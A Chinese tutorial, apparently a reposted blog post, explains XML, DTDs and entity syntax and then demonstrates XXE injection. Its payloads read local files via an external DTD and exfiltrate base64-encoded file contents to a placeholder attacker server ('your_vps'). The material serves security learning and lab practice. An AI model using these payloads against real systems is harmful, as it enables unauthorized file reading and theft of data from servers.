zoukankan      html  css  js  c++  java
  • XML实体注入

    1 、XXE 危害
    1.读取任意文件 2.执行系统命令

    3.探查内网端口 4.攻击内网网站

    2、关于XML

    XML是用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。

    XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

    XML中对数据的引用称为实体,实体中有一类叫外部实体,用来引入外部资源,有SYSTEM和PUBLIC两个关键字,表示实体来自本地计算机还是公共计算机,外部实体的引用可以借助各种协议

    XML 和 HTML 为不同的目的而设计

    3、XML实体引用

    在 XML 中,一些字符拥有特殊的意义。如果把字符 "<" 放在 XML 元素中,会发生错误,这是因为解析器会把它当作新元素的开始。
    这样会产生 XML 错误

    <message>if salary < 1000 then</message>
    

      为了避免这个错误,用实体引用来代替 "<" 字符:

    <message>if salary < 1000 then</message>
    

      

    关于DTD

    DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。它使用一系列的合法元素来定义文档结构。
    通过 DTD,您的每一个 XML 文件均可携带一个有关其自身格式的描述。
    通过 DTD,独立的团体可一致地使用某个标准的 DTD 来交换数据。

    DTD(文档类型定义)

    DTD可定义合法的XML文档构建模块,来验证xml是否合法。
    DTD可被声明在xml的文档中,也可以作为一个外部引用

    1.当DTD在xml内部声明时,要用使用DOCTYPE语法包装声明

    <!DOCTYPE 根元素 [元素声明]>
    

    2.当DTD位于xml文档外部,引用方法

    <!DOCTYPE 根元素 SYSTEM "文件名">
    

    DTD构建实体

    内部实体声明

    <!ENTITY 实体名称 "实体的值">
    

    一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (;)
    DTD实体声明

    Xml调用

    <author>&writer;©right;</author>
    

    PCDATA

    PCDATA 的意思是被解析的字符数据(parsed character data)。
    可把字符数据想象为 XML 元素的开始标签与结束标签之间的文本。
    PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。
    文本中的标签会被当作标记来处理,而实体会被展开。
    不过,被解析的字符数据不应当包含任何 &、< 或者 > 字符;需要使用 &、< 以及 > 实体来分别替换它们。

    CDATA

    CDATA 的意思是字符数据(character data)。
    CDATA 是不会被解析器解析的文本。在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。
    当DTD位于xml文档外部,引用外部文档声明

    xml引用外部实体(引用DTD文件)

    payload

    <?xml version="1.0" encoding="utf-8"?>
     <!DOCTYPE note [<!ENTITY % a SYSTEM "http://192.168.86.128/dtdfile.dtd"> %a;]>
     <note>&file;</note>
    

     虚拟机上创建DTD(dtdfile.dtd)文件

    <!ENTITY file SYSTEM "file:///e:/test.txt">
    

      读取windows靶机e盘test.txt

    无回显测试,可以将结果打到服务器上,查看日志,或则将结果保存为文件

    引用远程服务器上的XML文件读取文件

    payload:
    xxe.xml

    <?xml version="1.0"?>
    <!DOCTYPE ANY[
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
    <!ENTITY % remote SYSTEM "http://your_vps/test.dtd">
    %remote;
    %all;
    ]>
    <root>&send;</root>
    

      test.dtd

    <!ENTITY % all "<!ENTITY send SYSTEM 'http://your_vps/get.php?file=%file;'>">
    

      参数实体引用不能出现在内部DTD的标记声明内部
    使用的php://filter将文件内容进行了base64编码,因为当我们读取的文件是php或则html文件时,文件的代码包含< >符号时会导致解析错误
    这里声明payload实体参数,该实体参数以base64编码方式读取了windows靶机中e盘123.txt文件内容,然后做为URL参数请求到自己的服务器上。

    然后请求payload,可以在日志文件中找到经过base64编码的文件内容

    因为文件的内容是经过base64编码的,所以可以通过解码查看获取的内容

     xml不仅可以任意读取文件,执行系统命令,探测内网端口和攻击内网网站

  • 相关阅读:
    Windows 下Nexus搭建Maven私服
    WebService中获取request对象一例
    利用window.navigator.userAgent判断当前是否微信内置浏览器
    批量插入写法
    MySql 使用递归函数时遇到的级联删除问题
    【Mysql】 你会用 information_schema吗?
    Volatile 多线程中用到的关键字
    spring+springMVC中使用@Transcational方式管理事务的必须要配的东西。
    Android中操作SQLite数据库
    Oracle中的字符处理方法
  • 原文地址:https://www.cnblogs.com/ls-pankong/p/9275913.html
Copyright © 2011-2022 走看看